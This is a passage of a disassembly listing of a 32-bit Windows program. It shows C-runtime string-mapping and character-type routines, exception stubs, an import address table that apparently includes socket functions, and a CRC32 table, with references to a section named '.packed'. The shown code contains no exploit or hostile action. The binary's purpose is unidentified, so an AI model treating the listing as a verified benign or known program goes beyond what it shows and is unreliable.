mov dword_4DC020, ebx
jmp short loc_4266AC
; ---------------------------------------------------------------------------
loc_42668A: ; CODE XREF: sub_426636+4Aj
push esi
push esi
push ebx
push offset word_4CB89C
push edi
push esi
call dword_427048 ; LCMapStringA
test eax, eax
jz loc_42682B
mov dword_4DC020, 2
loc_4266AC: ; CODE XREF: sub_426636+2Ej
; sub_426636+52j
cmp [ebp+arg_C], esi
jle short loc_4266C1
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42683F
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4266C1: ; CODE XREF: sub_426636+79j
mov eax, dword_4DC020
cmp eax, 1
jnz short loc_4266E8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_4266E8: ; CODE XREF: sub_426636+93j
cmp eax, 2
jnz loc_42682B
cmp [ebp+arg_18], esi
jnz short loc_4266FE
mov eax, dword_4DBEA4
mov [ebp+arg_18], eax
loc_4266FE: ; CODE XREF: sub_426636+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_427188 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42682B
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426744
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426744: ; CODE XREF: sub_426636+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_427188 ; WideCharToMultiByte
test eax, eax
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427048 ; LCMapStringA
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42682B
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4267C7: ; CODE XREF: sub_426636+17Dj
cmp ebx, esi
jz short loc_42682B
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427048 ; LCMapStringA
test eax, eax
jz short loc_42682B
test byte ptr [ebp+arg_4+1], 4
jz short loc_426805
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426827
cmp eax, edi
jl short loc_4267F6
mov eax, edi
loc_4267F6: ; CODE XREF: sub_426636+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BFD0
add esp, 0Ch
jmp short loc_426827
; ---------------------------------------------------------------------------
loc_426805: ; CODE XREF: sub_426636+1B1j
cmp [ebp+arg_14], esi
jnz short loc_42680E
push esi
push esi
jmp short loc_426814
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_426636+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426814: ; CODE XREF: sub_426636+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call dword_4270E8 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_42682B
loc_426827: ; CODE XREF: sub_426636+1B8j
; sub_426636+1CDj
mov eax, edi
jmp short loc_42682D
; ---------------------------------------------------------------------------
loc_42682B: ; CODE XREF: sub_426636+66j
; sub_426636+B5j ...
xor eax, eax
loc_42682D: ; CODE XREF: sub_426636+ADj
; sub_426636+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426636 endp
; =============== S U B R O U T I N E =======================================
sub_42683F proc near ; CODE XREF: sub_426636+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42685E
loc_42684F: ; CODE XREF: sub_42683F+1Dj
cmp word ptr [eax], 0
jz short loc_42685E
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_42684F
loc_42685E: ; CODE XREF: sub_42683F+Ej
; sub_42683F+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42686C
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42686C: ; CODE XREF: sub_42683F+24j
mov eax, edx
retn
sub_42683F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42686F proc near ; CODE XREF: sub_4265C1+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4268AF
cmp [ebp+arg_0], 100h
jnb short loc_426893
movzx eax, [ebp+arg_0]
mov ecx, off_43CE8C
mov ax, [ecx+eax*2]
jmp short loc_4268B6
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_42686F+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4268C1
add esp, 18h
test eax, eax
jnz short loc_4268B3
loc_4268AF: ; CODE XREF: sub_42686F+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: sub_42686F+3Ej
mov eax, [ebp+var_4]
loc_4268B6: ; CODE XREF: sub_42686F+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_42686F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268C1 proc near ; CODE XREF: sub_42686F+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D48
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DC024
xor edi, edi
cmp eax, edi
jnz short loc_426930
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call dword_427014 ; GetStringTypeW
test eax, eax
jz short loc_42690E
mov eax, esi
jmp short loc_42692B
; ---------------------------------------------------------------------------
loc_42690E: ; CODE XREF: sub_4268C1+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB89C
push esi
push edi
call dword_427018 ; GetStringTypeA
test eax, eax
jz loc_426A72
push 2
pop eax
loc_42692B: ; CODE XREF: sub_4268C1+4Bj
mov dword_4DC024, eax
loc_426930: ; CODE XREF: sub_4268C1+2Fj
cmp eax, 1
jnz short loc_42694C
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427014 ; GetStringTypeW
jmp loc_426A74
; ---------------------------------------------------------------------------
loc_42694C: ; CODE XREF: sub_4268C1+72j
cmp eax, 2
jnz loc_426A72
cmp [ebp+arg_10], edi
jnz short loc_426962
mov eax, dword_4DBEA4
mov [ebp+arg_10], eax
loc_426962: ; CODE XREF: sub_4268C1+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_427188 ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426A72
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BF70
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4269C0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4269C0: ; CODE XREF: sub_4268C1+EAj
cmp [ebp+var_2C], edi
jz loc_426A72
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_427188 ; WideCharToMultiByte
test eax, eax
jz loc_426A72
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426A15
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426A15: ; CODE XREF: sub_4268C1+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426A72
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426A29
mov eax, dword_4DBE94
loc_426A29: ; CODE XREF: sub_4268C1+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call dword_427018 ; GetStringTypeA
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426A72
cmp word ptr [esi], 0FFFFh
jnz short loc_426A72
push edi
push ebx
push [ebp+arg_C]
call sub_41D670
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426A74
; ---------------------------------------------------------------------------
loc_426A72: ; CODE XREF: sub_4268C1+61j
; sub_4268C1+8Ej ...
xor eax, eax
loc_426A74: ; CODE XREF: sub_4268C1+86j
; sub_4268C1+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: .packed:00427EFCo
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: .packed:00426A98j
retn
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset dword_427ED0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426ABC: ; DATA XREF: .packed:00427F2Co
lea ecx, [ebp-1Ch]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AC4: ; DATA XREF: sub_40D4E2o
mov eax, offset dword_427F00
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 10h
loc_426AD0: ; DATA XREF: sub_40DA4Fo
mov eax, offset dword_427F30
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset dword_427F90
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset dword_428028
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset dword_42804C
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset dword_428070
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset dword_4280D0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
dd 133h dup(0)
dword_427000 dd 77E78EAAh ; DATA XREF: sub_41036B+5ECr
; sub_41716F+C0r ...
dword_427004 dd 77E70192h ; DATA XREF: sub_4251BB+F9r
dword_427008 dd 77E7176Ch ; DATA XREF: sub_424FB8+8r
dword_42700C dd 77E7339Ch ; DATA XREF: sub_424F80+Cr
dword_427010 dd 77E7C9E7h ; DATA XREF: sub_424F62+5r
; sub_424F73+6r
dword_427014 dd 77E7C866h ; DATA XREF: sub_4244F4+3Fr
; sub_4244F4+12Dr ...
dword_427018 dd 77E641EBh ; DATA XREF: sub_4244F4+59r
; sub_4244F4+8Dr ...
dword_42701C dd 77E73FF9h ; DATA XREF: sub_4240E7+2Cr
dword_427020 dd 77E7FF2Eh ; DATA XREF: sub_423FB9:loc_424009r
; sub_424030:loc_424083r
dword_427024 dd 77E78406h ; DATA XREF: sub_423B0B+FFr
; sub_423B0B+166r ...
dword_427028 dd 77E79C3Dh ; DATA XREF: sub_423B0B+158r
; sub_423DD1+143r
dword_42702C dd 77E7C931h ; DATA XREF: sub_423B0B+19Dr
dword_427030 dd 77E77EE1h ; DATA XREF: sub_4239D9+9r
dword_427034 dd 77E67702h ; DATA XREF: sub_4239D9:loc_423A08r
; sub_4239D9+E1r
dword_427038 dd 77E7C9E1h ; DATA XREF: sub_4239D9+CEr
dword_42703C dd 77E9C5B1h ; DATA XREF: sub_4239D9+11Fr
dword_427040 dd 77EB9A84h ; DATA XREF: sub_4234F7+138r
dword_427044 dd 77E781F9h ; DATA XREF: sub_4232A8+42r
; sub_4232A8+14Dr ...
dword_427048 dd 77E77405h ; DATA XREF: sub_4232A8+5Er
; sub_4232A8+A7r ...
dword_42704C dd 77F522F2h ; DATA XREF: sub_422EA8+58r
dword_427050 dd 77E6D706h ; DATA XREF: sub_42194C+215r
; sub_426587+2Er
dword_427054 dd 77E6C703h ; DATA XREF: sub_4208E2+1Ar
dword_427058 dd 77E7A13Fh ; DATA XREF: sub_4208E2+2Fr
dword_42705C dd 77E7849Fh ; DATA XREF: sub_420749+48r
; sub_420988+14r
dword_427060 dd 77E73196h ; DATA XREF: sub_424F9C+Cr
dword_427064 dd 77E7980Ah ; DATA XREF: sub_41ED74+76r
; sub_41EE25+51r ...
dword_427068 dd 77E79E34h ; DATA XREF: sub_41E742+240r
; sub_41F216+120r ...
dword_42706C dd 77E75CB5h ; DATA XREF: sub_40111D+DFr
; sub_401221+7Ar ...
dword_427070 dd 77E77963h ; DATA XREF: sub_40111D+B8r
; sub_401221+2DBr ...
dword_427074 dd 77E61BB8h ; DATA XREF: sub_40111D+A7r
; sub_401221+2C3r ...
dword_427078 dd 77E7A099h ; DATA XREF: sub_40111D+83r
; sub_401221+DAr ...
dword_42707C dd 77E704FCh ; DATA XREF: sub_40111D+74r
; sub_401221+C4r ...
dword_427080 dd 77E61BE6h ; DATA XREF: sub_40111D+29r
; sub_401221+1F4r ...
dword_427084 dd 77E7AC37h ; DATA XREF: sub_401221+3C1r
; sub_401ACD+79Fr ...
dword_427088 dd 77E73628h ; DATA XREF: sub_401221+33Br
; sub_401ACD+76D4r ...
dword_42708C dd 77E706B7h ; DATA XREF: sub_401221:loc_401495r
; sub_41761C+15r ...
dword_427090 dd 77E80656h ; DATA XREF: sub_401221+267r
dword_427094 dd 77F5157Dh ; DATA XREF: sub_401221+1D8r
; sub_401221+3E6r ...
dword_427098 dd 77E6BD13h ; DATA XREF: sub_401221:loc_4013DCr
dword_42709C dd 77E70396h ; DATA XREF: sub_401221+1B5r
; sub_401221+221r ...
dword_4270A0 dd 77E74CABh ; DATA XREF: sub_401221+19Er
; sub_4100B4+110r ...
dword_4270A4 dd 77E79F93h ; DATA XREF: sub_401221+D3r
; sub_409909+2r ...
dword_4270A8 dd 77E79D5Bh ; DATA XREF: sub_401221+6Br
; sub_401221+311r ...
dword_4270AC dd 77E7C2C4h ; DATA XREF: sub_401221+64r
dword_4270B0 dd 77E7751Ah ; DATA XREF: sub_401221+2Cr
; sub_401ACD+253Br ...
dword_4270B4 dd 77E75CEBh ; DATA XREF: sub_401ACD+791Ar
; sub_40B4F5+2Br ...
dword_4270B8 dd 77E6AD34h ; DATA XREF: sub_401ACD+68CFr
; sub_4188A6+35r
dword_4270BC dd 77E71AFEh ; DATA XREF: sub_401ACD+6697r
dword_4270C0 dd 77E805D8h ; DATA XREF: sub_409909+13Ar
; sub_409909:loc_409E17r ...
dword_4270C4 dd 77E7A5FDh ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dword_4270C8 dd 77E65F4Ch ; DATA XREF: .packed:0040ABEDr
; sub_419AE0+34r
dword_4270CC dd 77E7513Ch ; DATA XREF: .packed:0040AC84r
; .packed:0040B0C3r
dword_4270D0 dd 77E7C657h ; DATA XREF: .packed:0040ACF8r
; .packed:0040AF0Fr ...
dword_4270D4 dd 77E73C49h ; DATA XREF: sub_40B425+4Ar
; sub_40BB65+1AFr ...
dword_4270D8 dd 77F7E300h ; DATA XREF: sub_40C3E8+142r
dword_4270DC dd 77F7E21Fh ; DATA XREF: sub_40C3E8+D7r
dword_4270E0 dd 77E7C706h ; DATA XREF: sub_40C600+77r
dword_4270E4 dd 77F53275h ; DATA XREF: sub_40C600+6Br
; sub_40C600+22Fr
dword_4270E8 dd 77E77CCEh ; DATA XREF: sub_40DB5E+66r
; sub_40DC41+65r ...
dword_4270EC dd 77E78B82h ; DATA XREF: .packed:0040E081r
; sub_40EED1+25r ...
dword_4270F0 dd 77E79D8Ch ; DATA XREF: .packed:0040E04Fr
; sub_40EE8E+3Br ...
dword_4270F4 dd 77E73EACh ; DATA XREF: .packed:0040E035r
dword_4270F8 dd 77E7A837h ; DATA XREF: .packed:0040DFB4r
; sub_4100B4+1CBr ...
dword_4270FC dd 77E616B4h ; DATA XREF: sub_40EF1C+19Br
; sub_4116D6+115r ...
dword_427100 dd 77E79CE3h ; DATA XREF: sub_40EF1C+111r
; sub_411920+77r ...
dword_427104 dd 77E79C90h ; DATA XREF: sub_40EF1C+FDr
; sub_40EF1C+10Ar ...
dword_427108 dd 77E7727Ah ; DATA XREF: sub_40EF1C+74r
; sub_411827+23r ...
dword_42710C dd 77E64106h ; DATA XREF: sub_40FF31+A0r
; sub_41AF8F+1B6r
dword_427110 dd 77E64006h ; DATA XREF: sub_40FF31+8Cr
; sub_41AF8F+19Fr
dword_427114 dd 77E793EFh ; DATA XREF: sub_4100B4+1F5r
; sub_4109F1+38r ...
dword_427118 dd 77E79424h ; DATA XREF: sub_41036B+280r
; sub_41761C+135r
dword_42711C dd 77E794BFh ; DATA XREF: sub_41036B+272r
; sub_41761C+123r
dword_427120 dd 77E75E67h ; DATA XREF: sub_41036B+212r
; sub_41036B+5DBr ...
dword_427124 dd 77E75D9Eh ; DATA XREF: sub_41036B+201r
; sub_41716F+26r
dword_427128 dd 77E78C81h ; DATA XREF: sub_4109F1+6Cr
; sub_4161C1+259r ...
dword_42712C dd 77E76968h ; DATA XREF: sub_41144E+5Fr
dword_427130 dd 77E74C59h ; DATA XREF: sub_4116D6+C7r
dword_427134 dd 77EC7C51h ; DATA XREF: sub_411AAB+5Er
dword_427138 dd 77E802FCh ; DATA XREF: sub_413694+18Cr
; sub_413694+2D4r ...
dword_42713C dd 77E6D75Bh ; DATA XREF: sub_413694+182r
; sub_4143F7+FFr
dword_427140 dd 77E70F89h ; DATA XREF: sub_415D38+Dr
dword_427144 dd 77E80618h ; DATA XREF: sub_4172C1+170r
; sub_418AF1+D4r
dword_427148 dd 77E78147h ; DATA XREF: sub_4172C1+BCr
dword_42714C dd 77F51597h ; DATA XREF: sub_417493+41r
; sub_417493+F5r ...
dword_427150 dd 77F516F8h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar ...
dword_427154 dd 77E77CB7h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dword_427158 dd 77E7F01Ah ; DATA XREF: sub_41761C+88r
; sub_4177C3+55r
dword_42715C dd 77E61A54h ; DATA XREF: sub_41761C+56r
; sub_4177C3+97r
dword_427160 dd 77E7C3A5h ; DATA XREF: sub_41761C+34r
; sub_4177C3+2Er
dword_427164 dd 77E76A60h ; DATA XREF: sub_418699+2Dr
dword_427168 dd 77E71B14h ; DATA XREF: sub_418723+26r
dword_42716C dd 77E7166Fh ; DATA XREF: sub_418723+1Dr
dword_427170 dd 77E75090h ; DATA XREF: sub_41875E+69r
dword_427174 dd 77E74D76h ; DATA XREF: sub_41875E+36r
dword_427178 dd 77E77797h ; DATA XREF: sub_41875E+25r
dword_42717C dd 77E7011Ah ; DATA XREF: sub_4187E0+96r
dword_427180 dd 77E73CE2h ; DATA XREF: sub_4187E0+60r
dword_427184 dd 77E668D9h ; DATA XREF: sub_4188A6+15Dr
dword_427188 dd 77E79924h ; DATA XREF: sub_4190A5+13r
; sub_4232A8+20Dr ...
dword_42718C dd 77E76A2Eh ; DATA XREF: sub_419C09+DEr
dword_427190 dd 77E7FF65h ; DATA XREF: sub_41A05C+5Ar
dword_427194 dd 77EB7624h ; DATA XREF: sub_41A05C+3Dr
dword_427198 dd 77E6C29Dh ; DATA XREF: sub_41A6EA+1EBr
dword_42719C dd 77E76C1Ah ; DATA XREF: sub_41AF8F+1CFr
dword_4271A0 dd 77F5722Fh ; DATA XREF: sub_41BBE2+110r
; sub_41BBE2+22Dr ...
dword_4271A4 dd 77F6183Eh ; DATA XREF: sub_426356r
dword_4271A8 dd 77E6177Ah ; DATA XREF: sub_41E1D3+9Fr
; sub_423B0B+59r
dword_4271AC dd 77E7C938h ; DATA XREF: sub_41E1D3+74r
dword_4271B0 dd 77E7C486h ; DATA XREF: sub_41E1D3+26r
dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41E52A+54r
dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41E672+50r
dword_4271BC dd 77E7C726h ; DATA XREF: sub_41E672+11r
dd 0
dword_4271C4 dd 71AB5A01h ; DATA XREF: sub_4157BA+20r
dword_4271C8 dd 71AB4122h ; DATA XREF: sub_4156D1+D4r
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dword_4271D0 dd 71AB401Ch ; DATA XREF: sub_4131EC+21Br
; sub_4131EC+243r
dword_4271D4 dd 71AB1836h ; DATA XREF: sub_40F9BF+6Er
; sub_40FA3C+8Er
dword_4271D8 dd 71AB41DAh ; DATA XREF: sub_40F3AA+4Ar
; sub_40F9BF+15r
dword_4271DC dd 71AB3F8Dh ; DATA XREF: sub_40F3AA+5Ar
dword_4271E0 dd 71AB155Ah ; DATA XREF: sub_40F3AA+8Dr
; sub_414251+70r ...
dword_4271E4 dd 71AB3ECEh ; DATA XREF: sub_40F3AA+B5r
dword_4271E8 dd 71AB5DE2h ; DATA XREF: sub_40F3AA+C9r
dword_4271EC dd 71AB868Dh ; DATA XREF: sub_40F3AA+171r
dword_4271F0 dd 71AB12F8h ; DATA XREF: sub_40E9FB+27r
; sub_40F9BF+35r ...
dword_4271F4 dd 71AB1746h ; DATA XREF: sub_40E9FB+36r
; sub_40F9BF+41r ...
dword_4271F8 dd 71AB3E5Dh ; DATA XREF: sub_40E9FB+59r
; sub_40EAE9+45r ...
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
; sub_40F3AA+1E1r
dword_427200 dd 71AB1A6Dh ; DATA XREF: sub_40E9FB+E0r
; sub_40EAE9:loc_40EB55r ...
dword_427204 dd 71AB3C22h ; DATA XREF: .packed:0040D64Cr
; sub_40E9FB+45r ...
dword_427208 dd 71AB1AF4h ; DATA XREF: sub_40D2A2+12r
; sub_40E9FB+C3r ...
dword_42720C dd 71AB1890h ; DATA XREF: sub_40D104+4Cr
; sub_40F3AA+106r
dword_427210 dd 71AB1B7Bh ; DATA XREF: sub_426350r
dword_427214 dd 71AB157Eh ; DATA XREF: sub_401ACD+2F5Fr
align 10h
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
